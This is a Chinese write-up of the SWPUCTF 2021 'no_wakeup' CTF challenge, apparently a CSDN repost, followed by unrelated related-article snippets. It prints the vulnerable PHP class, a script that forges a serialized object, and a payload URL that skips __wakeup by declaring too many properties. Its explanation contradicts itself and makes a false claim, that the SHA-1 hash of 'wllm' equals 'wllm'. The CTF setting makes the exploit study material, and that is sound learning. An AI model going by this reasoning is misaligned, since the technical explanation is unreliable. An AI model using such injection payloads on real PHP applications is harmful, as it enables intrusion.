NSSCTF | [SWPUCTF 2021 新生赛]no_wakeup

ops/2024/9/23 9:29:21/

https://img-blog.csdnimg.cn/direct/f647f2bd06f649ee9e6b5c0b56d092ce.png" width="1200" />

打开题目后,点击三个?,发现是一个php序列化脚本

php"> <?phpheader("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");class HaHaHa{public $admin;public $passwd;public function __construct(){$this->admin ="user";$this->passwd = "123456";}public function __wakeup(){$this->passwd = sha1($this->passwd);}public function __destruct(){if($this->admin === "admin" && $this->passwd === "wllm"){include("flag.php");echo $flag;}else{echo $this->passwd;echo "No wake up";}}}$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);?> 

这个PHP脚本包含一个反序列化漏洞,可以通过精心构造的序列化字符串来利用。下面是对脚本的分析和如何绕过限制的解释:

  1. class HaHaHa:定义了一个名为HaHaHa的类,该类有三个公共属性:adminpasswd,以及三个魔术方法:__construct__wakeup__destruct

  2. __construct:在对象创建时自动调用,设置admin"user"passwd"123456"

  3. __wakeup:在对象反序列化时自动调用,将passwd通过sha1函数加密。

  4. __destruct:在对象销毁时自动调用,检查admin是否为"admin"passwd是否为"wllm"。如果是,则包含flag.php文件并输出$flag;否则,输出$passwd"No wake up"

  5. $Letmeseesee = $_GET['p'];:从GET参数p中获取值,并尝试对其进行反序列化。

为了绕过这个限制并获取flag,你需要构造一个序列化字符串,使得反序列化后的对象满足admin"admin"passwd"wllm"。由于__wakeup方法会改变passwd的值,我们需要利用PHP反序列化中的一个特性:如果序列化字符串中的属性数量与实际属性数量不匹配,__wakeup方法不会被调用。

这是解题所用到的php反序列化脚本:
 

php"><?phpclass HaHaHa {public $admin = "admin";public $passwd = "wllm";
}// 创建一个HaHaHa对象
$obj = new HaHaHa();// 序列化对象,并减少属性数量以绕过__wakeup
$serialized = serialize($obj);
$serialized = str_replace(':2:{', ':1:{', $serialized);// 输出序列化后的字符串
echo $serialized;?>

在这个脚本中,我们首先创建了一个HaHaHa对象,并设置了adminpasswd的值。然后,我们序列化这个对象,并修改序列化字符串,将属性数量从2改为1,这样在反序列化时__wakeup方法就不会被调用。最后,我们输出修改后的序列化字符串,这个字符串可以用于攻击目标脚本。

将这个脚本直接放到在线网站上运行,即可得到生成的序列化字符串

在线运行PHP这是一个简单方便的PHP在线运行工具,支持在线编译、在线调试和在线结果的实时反馈。https://csdnimg.cn/release/blog_editor_html/release2.3.6/ckeditor/plugins/CsdnLink/icons/icon-default.png?t=N7T8" alt="icon-default.png?t=N7T8" />https://www.bejson.com/runcode/php/https://img-blog.csdnimg.cn/direct/ee34643fd88f440080ef5eb2e0435659.png" width="1200" />

php">O:6:"HaHaHa":1:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

但生成的这个序列化字符串是不可以输出flag的,真正可以输出flag的序列化字符串是

php">O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

在原始的序列化字符串中,将属性数量从2减少到1,这是为了绕过__wakeup()方法,因为__wakeup()方法会尝试修改$passwd的值。但是,由于$passwd值已经是"wllm",这个值的sha1()哈希值与原始值相同,因此即使__wakeup()方法被调用,也不会影响最终的检查条件。

为了正确绕过__wakeup()方法并满足__destruct()方法中的检查条件,需要确保序列化字符串中声明的属性数量与实际属性数量一致,但故意声明一个错误的数量。因此,正确的序列化字符串应该是O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";},其中声明了3个属性,但实际上只有2个。这样,PHP在反序列化时会将其调整为2个属性,但__wakeup()方法会被绕过,$passwd的值不会被修改,从而满足__destruct()方法中的检查条件,输出$flag

php">http://node4.anna.nssctf.cn:28225/class.php?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

访问即可得到flag。

https://img-blog.csdnimg.cn/direct/2d5c559b1ca947058c5252bc03051a39.png" width="1200" />

本题完。


http://www.ppmy.cn/ops/44915.html

相关文章

配置阿里yum源

配置阿里yum源&#xff08;这个很重要&#xff09;&#xff1a;https://developer.aliyun.com/article/1480470 1.备份系统自带yum源配置文件 mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup2.下载ailiyun的yum源配置文件 2.1 CentOS7 wge…

服装服饰商城小程序的作用是什么

要说服装商家&#xff0c;那数量是非常多&#xff0c;厂家/经销门店/小摊/无货源等&#xff0c;线上线下同行竞争激烈&#xff0c;虽然用户群体广涵盖每个人&#xff0c;但每个商家肯定都希望更多客户被自己转化&#xff0c;渠道运营方案营销环境等不可少。 以年轻人为主的消费…

昔日辉煌不再,PHP老矣,尚能饭否?

导语 | 近期 TIOBE 最新指数显示&#xff0c;PHP 的流行度降至了历史最低&#xff0c;排在第 17 名&#xff0c;同时&#xff0c;在年度 Stack Overflow 开发者调查报告中&#xff0c;PHP 在开发者中的受欢迎程度已经从之前的约 30% 萎缩至现在的 18%。“PHP 是世界上最好的语言…

C++笔试强训day30

目录 1.爱吃素 2.相差不超过k的最多数 3.最长公共子序列(一) 1.爱吃素 链接https://ac.nowcoder.com/acm/problem/227310 数学找规律题&#xff0c;注意开long long即可&#xff0c;因为数据太大。 一个为素数另一个为1相乘一定为素数&#xff0c;否则返回NO #include <…

探索零阶优化:在语言模型提示优化中的应用与原理【初步理解】

什么是零阶优化&#xff1f; 零阶优化&#xff08;Zero-Order Optimization&#xff09;是一种优化方法&#xff0c;用于在没有显式梯度信息的情况下优化目标函数。与常见的梯度下降法不同&#xff0c;零阶优化不依赖于目标函数的梯度&#xff0c;而是通过直接评估目标函数值来…

WEBPACK开发|生产环境配置(抽离公共部分)

这是webpack4演示&#xff0c;webpack5有些插件不在推荐&#xff0c; 1. webpack.base.config.js文件的配置说明 const path require(path); const webpack require(webpack); const ExtractTextPlugin require(extract-text-webpack-plugin); // 该插件的主要是为了抽离c…

大数据Scala教程从入门到精通第十篇:Scala在IDEA中编写Hello World代码的简单说明

一&#xff1a;代码展示 object Main {def main(args: Array[String]): Unit {//SCALA中可以不写;//绿色的小三角达标的是这个类中有一个MAIN方法代表是可以执行的。//ctrl shift f10可以直接运行println("Hello world!")//Java中的类库我们可以直接使用System.o…

28. 找出字符串中第一个匹配项的下标

28. 找出字符串中第一个匹配项的下标 Show Swift Code func computePMT(_ pattern: String) -> [Int] { let m pattern.length var pmt [Int](repeating: 0, count: m) var j 0 for i in 1..<m { while j > 0 && pattern[pattern.index(pattern.star…